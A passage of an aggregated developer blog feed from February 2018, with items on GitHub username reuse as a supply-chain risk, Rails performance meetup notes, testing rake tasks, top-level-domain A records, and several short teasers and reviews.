&amp;quot;namespaces&amp;quot;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To prevent developers from pulling down potentially unsafe packages, we now retire the namespace of any open source project that had more than 100 clones in the week leading up to the owner’s account being renamed or deleted. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a decent half step but I'd still love to see either permalinks or &lt;strong&gt;every&lt;/strong&gt; namespace of a user permanently retired once their account is deleted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 2018-02-10&lt;/strong&gt; In discussing this with people online, I’ve come to the conclusion that the bigger, more important  issue is lack of &lt;strong&gt;permalinks&lt;/strong&gt; to repository instances. Path reuse, rather than username reuse.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;There is a very popular tool for embedding data files into your Go binaries called &lt;code&gt;go-bindata&lt;/code&gt;.  Several days ago however the user who ran it, &amp;quot;Jim Teeuwen&amp;quot; (&lt;a href="https://web.archive.org/web/20150609210529/https://github.com/jteeuwen"&gt;wayback machine&lt;/a&gt;), completely disappeared from the internet – deleting his GitHub account and personal domain in the process.&lt;/p&gt;
&lt;p&gt;While this is within his rights to do, this broke a dependency many people had within their projects.&lt;/p&gt;
&lt;p&gt;To fix this, some users of the project recreated the &lt;strong&gt;account&lt;/strong&gt; and the repository based on a fork of the project. &lt;/p&gt;
&lt;p&gt;They have an official announcement/disclosure here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/jteeuwen/go-bindata/issues/5"&gt;https://github.com/jteeuwen/go-bindata/issues/5&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;At the very least they are being honest about it.&lt;/p&gt;
&lt;p&gt;The fact that they were &lt;strong&gt;allowed&lt;/strong&gt; to do this however represents a fundamental flaw in GitHub's security model.&lt;/p&gt;
&lt;p&gt;Usernames, once deleted, should &lt;strong&gt;never&lt;/strong&gt; be allowed to be valid again. Many sites including Google do it this way. &lt;/p&gt;
&lt;p&gt;Allowing username reuse completely breaks any trust that what I pull is what it claims to be.&lt;/p&gt;
&lt;p&gt;What if this user had been malicious? It may have taken a while before someone actually noticed this wasn't the original user and the code was doing something more than it claimed to.&lt;/p&gt;
&lt;p&gt;While Go's &lt;code&gt;go get&lt;/code&gt; functionality is no doubt naive and just pulls the head of a repository, this is not exclusively Go's problem as this affects any &lt;strong&gt;package manager&lt;/strong&gt; that runs on tags. Simply tag malicious changes beyond the current release and it would be deployed to many users likely with little actual review.&lt;/p&gt;
&lt;p&gt;This should not be possible. This is scary and should be fixed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Many people are arguing that this is the developers fault or the package managers fault. I do not agree, but as far as I see it that doesn't matter anyway.  The simple fact of the matter is that it &lt;em&gt;is&lt;/em&gt; being used like that, like it or not, and the simplest and I argue most correct fix is for GitHub to prevent the issue.&lt;/p&gt;
&lt;p&gt;I think another good option would be GitHub offering permalinks to repos, such that if they were deleted and recreated the pathing would change.&lt;/p&gt;
&lt;p&gt;It affects &lt;strong&gt;not only package managers&lt;/strong&gt; and programs and software, but humans. Humans navigating GitHub. I have no way to tell while navigating the site if a project is the original or a charade.  That is a problem.&lt;/p&gt;
&lt;p&gt;As for the title change, I agreed with Hacker News that the original was a bit hyperbolic. I have a tendency to resort to hyperbole to get my emotional point across - and it doesn't always read correctly on the internet.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Sat, 10 Feb 2018 05:19:29 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/GithubsTotalSecurityFacepalm</guid></item><item><title>Boulder Ruby Group meetup notes</title><link>https://josh.works/boulder_ruby_group</link><description>&lt;h2 id="move-slow-and-improve-things-performance-improvement-in-a-rails-app"&gt;Move Slow and Improve Things: Performance Improvement in a Rails App&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://www.meetup.com/boulder_ruby_group/events/fsvznqyzdbrb/"&gt;Boulder Ruby Group Monthly Meetup @Recurly Offices&lt;/a&gt;, Feb 13, 2018&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://www.dropbox.com/s/pwsj4bqmzdqb9s7/boulder_rb_profiling.key?dl=0"&gt;Slides are available here on Dropbox&lt;/a&gt;&lt;/p&gt;

&lt;h2 id="git-push-git-paid"&gt;Git Push, Git Paid&lt;/h2&gt;

&lt;p&gt;Here’s the “Git Push, Git Paid” t-shirt I mentioned:&lt;/p&gt;

&lt;p&gt;&lt;img alt="git push git paid" src="/images/git_push_git_paid.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://thoughtbot.com/blog/git-push-git-paid"&gt;Thoughtbot designed these&lt;/a&gt;, and it looks like they’re still &lt;a href="https://cottonbureau.com/products/git-push-git-paid#/1134672/tee-men-standard-tee-vintage-black-tri-blend-s"&gt;available for purchase on CottonBureau&lt;/a&gt; for $28.&lt;/p&gt;

&lt;h2 id="slow-query-lookup"&gt;Slow Query lookup:&lt;/h2&gt;

&lt;p&gt;check to see what your current values are for &lt;a href="https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_long_query_time"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;long_query_time&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
  &lt;span class="n"&gt;start_time&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;user_host&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;query_time&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;sql_text&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lock_time&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;rows_sent&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;rows_examined&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;last_insert_id&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;insert_id&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;server_id&lt;/span&gt;
  &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;thread_id&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;
  &lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;slow_log&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;
  &lt;span class="n"&gt;start_time&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;DATE_ADD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;current_timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;DAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt;
    &lt;span class="n"&gt;query_time&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="what-is-benchmarking-and-profiling"&gt;What is Benchmarking and Profiling&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Profiling and benchmarking are flip sides of the same coin, profiling helps you to narrow down to where optimization would be most useful, benchmarking allows you to easily isolate optimizations and cross-compare them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://blog.urth.org/2010/03/03/benchmarking-versus-profiling/"&gt;Dave Rolsky&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="additional-reading"&gt;Additional reading&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://github.com/MiniProfiler/rack-mini-profiler"&gt;rack-mini-profiler docs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.speedshop.co/2019/01/10/three-activerecord-mistakes.html"&gt;3 ActiveRecord Mistakes That Slow Down Rails Apps: Count, Where and Present (Nate Berkopec)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.railsspeed.com/"&gt;Nate Berkopec’s &lt;em&gt;The Complete Guide to Rails Performance&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://idlewords.com/talks/website_obesity.htm"&gt;The Website Obesity Crisis (Maciej Cegłowski)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ll be working on this Rails performance piece for a while, so if you’d like to see what else I’m learning, pop your email in below.&lt;/p&gt;

&lt;p&gt;Full disclosure: sometimes I write about things other than Ruby on Rails.&lt;/p&gt;

&lt;h4&gt;Want to stay up to date on these projects? Enter your email below, and you'll get an approximately-monthly newsletter from me.&lt;/h4&gt;
&lt;form action="https://buttondown.email/api/emails/embed-subscribe/josht" class="embeddable-buttondown-form" method="post" target="popupwindow"&gt;
  &lt;label for="bd-email"&gt;Enter your email&lt;/label&gt;
  &lt;input id="bd-email" name="email" type="email" /&gt;
  
  &lt;input type="submit" value="Subscribe" /&gt;
  &lt;p&gt;&lt;i&gt;If you don't see the subscribe form above, &lt;a href="https://buttondown.email/josht"&gt;click here&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
  &lt;p&gt;&lt;i&gt;Readers have rated these messages from me as variations of 'interesting-enough', 'thought-provoking', and 'worthwhile'. It's also easy to unsubscribe from.&lt;/i&gt;&lt;/p&gt;
&lt;/form&gt;</description><author>Josh Thompson</author><pubDate>Sat, 10 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/boulder_ruby_group</guid></item><item><title>Links - February 10, 2018</title><link>https://faingezicht.com/links/2018/02/10/links/</link><description/><author>Avy Faingezicht</author><pubDate>Sat, 10 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/02/10/links/</guid></item><item><title>Your first robot: The controller [3/5]</title><link>https://kyrofa.com/posts/your-first-robot-the-controller-3-5/</link><description>UPDATE: I&amp;rsquo;m leaving this series up for historical purposes, but please note that I no longer recommend Ubuntu Core or snaps for use in robotics.
This is the third blog post in this series about creating your first robot with ROS and Ubuntu Core. In the previous post you were introduced to the Robot Operating System (ROS), and got your robot moving by ROSifying one of the CamJam worksheets. Today we&amp;rsquo;re going to move beyond the CamJam worksheets, and work toward having our robot remotely controlled by focusing on our wireless controller: getting data out of it and into ROS messages.</description><author>kyrofa's blog</author><pubDate>Sat, 10 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/your-first-robot-the-controller-3-5/</guid></item><item><title>Utilizing IRC &amp;amp; DCC As a Filesharing Medium</title><link>https://lagomor.ph/2018/02/utilizing-irc-dcc-as-a-filesharing-medium/</link><description>&lt;p&gt;The concept of Filesharing (and digital piracy) has been around since before even the basic days of the internet - where floppy disks, and, even earlier, rolls of punch-paper, were shared at swap meets.&lt;/p&gt;
&lt;p&gt;The Internet, as it is always keen to do, revolutionized filesharing in a big way. Bulletin Board Systems was where shareware began to congregate, where the very idea of the &amp;ldquo;scene&amp;rdquo; really began. Eventually, the Scene spread to Usenet, then FTP &amp;amp; FXP. In the late 1990&amp;rsquo;s, IRC became the system of choice, as development in the DCC protocol made it significantly faster compared to other methods.&lt;/p&gt;</description><author>Home on Lagomorph</author><pubDate>Fri, 09 Feb 2018 18:45:03 GMT</pubDate><guid isPermaLink="true">https://lagomor.ph/2018/02/utilizing-irc-dcc-as-a-filesharing-medium/</guid></item><item><title>John Perry Barlow – A Declaration of the Independence of Cyberspace</title><link>https://yasha.solutions/john-perry-barlow-a-declaration-of-the-independence-of-cyberspace/</link><description>Governments of the Industrial World, you weary giants of flesh and steel, I come from Cyberspace, the new home of Mind. On behalf of the future, I ask you of the past to leave us alone. You are not welcome among us. You have no sovereignty where we gather.
We have no elected government, nor are we likely to have one, so I address you with no greater authority than that with which liberty itself always speaks.</description><author>Yasha Solutions</author><pubDate>Fri, 09 Feb 2018 14:21:45 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/john-perry-barlow-a-declaration-of-the-independence-of-cyberspace/</guid></item><item><title>What’s up with Google AMP pages anyway</title><link>https://yasha.solutions/whats-up-with-google-amp-pages-anyway/</link><description>TL;DR:
 AMP is Google tech for loading pages quickly on mobile.
Basically AMP is the Google version of Facebook Instant Articles.
Google is pushing this tech as a mean to increase the overall volume of mobile Ad inventory – essentially more page views means more revenues for publishers and Google via DoubleClick.
Solving page load issues can be done without AMP and should be probably done without it.
 Google tech selling page for AMPIn short: “AMP provides a great user experience across many platforms” – all the rest is just how to implement it.</description><author>Yasha Solutions</author><pubDate>Fri, 09 Feb 2018 14:17:40 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/whats-up-with-google-amp-pages-anyway/</guid></item><item><title>The DIY table maze marble roll</title><link>https://ilearnt.com/blog/marbleroll/</link><description>&lt;p&gt;Some people have way too much time on their hands.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 09 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/marbleroll/</guid></item><item><title>Asking Questions</title><link>https://blog.harterrt.com/preferred_media.html</link><description>&lt;p&gt;Will posted a great article a couple weeks ago,
&lt;a href="https://wlach.github.io/blog/2018/01/giving-and-receiving-help-at-mozilla/"&gt;Giving and Receiving Help at Mozilla&lt;/a&gt;.
I have been meaning to write a similar article for a while now.
His post finally pushed me over the edge. &lt;/p&gt;
&lt;p&gt;Be sure to read Will's post first.
The rest of this article is an …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Fri, 09 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/preferred_media.html</guid></item><item><title>A records on top level domains</title><link>https://captnemo.in/blog/2018/02/09/tld-a-records/</link><description>&lt;p&gt;Re-ran the same scan as http://blog.towo.eu/a-records-on-top-level-domains/&lt;/p&gt;

&lt;p&gt;Scan run from &lt;code class="language-plaintext highlighter-rouge"&gt;AS9498&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Results:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;TLD&lt;/th&gt;
      &lt;th&gt;IP&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;ai&lt;/td&gt;
      &lt;td&gt;209.59.119.34&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;android&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;arab&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cal&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;chrome&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cm&lt;/td&gt;
      &lt;td&gt;195.24.205.60&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;dclk&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;dk&lt;/td&gt;
      &lt;td&gt;193.163.102.58&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;drive&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;etisalat&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;gg&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;gle&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;guge&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;hangout&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;je&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;nexus&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pa&lt;/td&gt;
      &lt;td&gt;168.77.8.43&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;play&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pn&lt;/td&gt;
      &lt;td&gt;80.68.93.100&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;politie&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;sport&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;tk&lt;/td&gt;
      &lt;td&gt;217.119.57.22&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;uz&lt;/td&gt;
      &lt;td&gt;91.212.89.8&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ws&lt;/td&gt;
      &lt;td&gt;64.70.19.33&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;谷歌&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;218.100.84.27&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;202.170.80.40&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;180.149.98.78&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;اتصالات&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;政府&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;عرب&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;招聘&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;グーグル&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: An automatically updated version of this is available at https://captnemo.in/tld-a-record/&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Fri, 09 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2018/02/09/tld-a-records/</guid></item><item><title>CCC – stuff to watch</title><link>https://yasha.solutions/ccc-stuff-to-watch/</link><description>Making Experts Makers and Makers Experts Gamified Control?
China’s Social Credit Systems
https://media.ccc.de/v/34c3-8874-gamified_control
 Demystifying Network Cards
Things you always wanted to know about NIC drivers
https://media.ccc.de/v/34c3-9159-demystifying_network_cards
 Everything you want to know about x86 microcode, but might have been afraid to ask
An introduction into reverse-engineering x86 microcode and writing it yourself
https://media.ccc.de/v/34c3-9058-everything_you_want_to_know_about_x86_microcode_but_might_have_been_afraid_to_ask
 Protecting Your Privacy at the Border
Traveling with Digital Devices in the Golden Age of Surveillance</description><author>Yasha Solutions</author><pubDate>Fri, 09 Feb 2018 01:12:04 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/ccc-stuff-to-watch/</guid></item><item><title>Testing Rake Tasks in Rails</title><link>https://josh.works/test-rake-tasks-in-rails</link><description>&lt;p&gt;I recently wrote a rake task to update some values we’ve got stored in the database. The rake task itself isn’t important in this post, but testing it is.&lt;/p&gt;

&lt;p&gt;We’ve got many untested rake tasks in the database, so when our senior dev suggested adding a test, I had to build ours from scratch.&lt;/p&gt;

&lt;p&gt;I did a bit more whack-a-moling with error messages than I’d hoped, so here’s a template of that test, along with some details that might save you some time, next time &lt;em&gt;you&lt;/em&gt; are writing tests for your rake tasks.&lt;/p&gt;

&lt;p&gt;We’re in a not-new version of Rails, and using Minitest. I’ve anonymized it. Hope it’s useful!&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# test/tasks/rake_task_file_test.rb&lt;/span&gt;

&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'test_helper'&lt;/span&gt;
&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'rake'&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RakeTaskFileTaskTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveSupport&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;TestCase&lt;/span&gt;

  &lt;span class="n"&gt;describe&lt;/span&gt; &lt;span class="s1"&gt;'namespace:task_name'&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;
      &lt;span class="vi"&gt;@tt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Fabricate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:object_with_attributes_i_need_to_change&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="no"&gt;ApplicationName&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load_tasks&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="no"&gt;Rake&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tasks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;empty?&lt;/span&gt;
      &lt;span class="no"&gt;Rake&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"namespace:task_name"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;invoke&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

    &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="s2"&gt;"should change 'thing I don't want'"&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
      &lt;span class="vi"&gt;@tt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reload&lt;/span&gt;
      &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="vi"&gt;@tt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attribute_i_changed&lt;/span&gt;
      &lt;span class="n"&gt;refute_includes&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"thing I don't want"&lt;/span&gt;
      &lt;span class="n"&gt;assert_includes&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"thing I do want"&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!--more--&gt;

&lt;p&gt;Notes on the above:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;require 'rake'&lt;/code&gt; - I was getting a &lt;code class="language-plaintext highlighter-rouge"&gt;NoMethodError: undefined method 'namespace' for main:Object&lt;/code&gt; until adding this line. Found the answer in an unrelated-ish &lt;a href="https://github.com/resque/resque-scheduler/issues/472"&gt;github issue&lt;/a&gt;, of course.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The rake task reads &lt;code class="language-plaintext highlighter-rouge"&gt;@tt.attribute_i_changed&lt;/code&gt;, does logic on it, and then changes the value. The object I was changing had quite a few dependencies on &lt;em&gt;other&lt;/em&gt; objects, so I just copied an existing factory, changed the values as needed, and called that factory in the &lt;code class="language-plaintext highlighter-rouge"&gt;initialization&lt;/code&gt; method.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;ApplicationName::Application.load_tasks if Rake::Task.tasks.empty?&lt;/code&gt; makes all the rake tasks available inside this test. Without &lt;code class="language-plaintext highlighter-rouge"&gt;.load_tasks&lt;/code&gt;, nothing else works. Without &lt;code class="language-plaintext highlighter-rouge"&gt;if Rake::Task.tasks.empty?&lt;/code&gt; makes sure it loads them only if they’re not currently loaded. (Thanks &lt;a href="https://medium.com/p/6573f7185a0a/responses/show"&gt;@Ratanachai Ken Sombat&lt;/a&gt;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;Rake::Task["namespace:task_name"].invoke&lt;/code&gt; runs the task under test.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;@tt.reload&lt;/code&gt; is very important. It’s obvious in hindsight, but since the rake task modified values of &lt;code class="language-plaintext highlighter-rouge"&gt;@tt&lt;/code&gt;, I have to reload it from the database. Otherwise, the test has no idea the values changed when I call &lt;code class="language-plaintext highlighter-rouge"&gt;@tt.attributes_i_changed&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;And a few standard &lt;code class="language-plaintext highlighter-rouge"&gt;refute_includes&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;assert_includes&lt;/code&gt;, and we’re on our way.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="useful-resources"&gt;Useful resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://robots.thoughtbot.com/test-rake-tasks-like-a-boss"&gt;Thoughtbot: Test Rake Tasks Like a BOSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://ieftimov.com/test-rake-tasks"&gt;Ilija Eftimov: Why and how to test Rake tasks in your Rails application&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://content.pivotal.io/blog/test-your-rake-tasks"&gt;Pivotal blog: Test your Rake tasks!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Thu, 08 Feb 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/test-rake-tasks-in-rails</guid></item><item><title>Designing Your Life: How to Build a Well-Lived, Joyful Life by Bill Burnett and Dave Evans</title><link>https://ilearnt.com/blog/designingyourlife/</link><description>&lt;p&gt;I was really looking forward to this book as I had listened to a podcast where they explained the ideas behind it. The two authors run a design course in Stanford that gets massively oversubscribed and has a huge impact on those who take it by looking at life as a design problem. The aim is to come up with lots of possible routes for your life that could be awesome and then design a path to achieve one of them. If that doesn&amp;rsquo;t work you can use the same approach to look for new opportunities. I have not yet made the time to do the exercises and these are absolutely key to getting the most out of 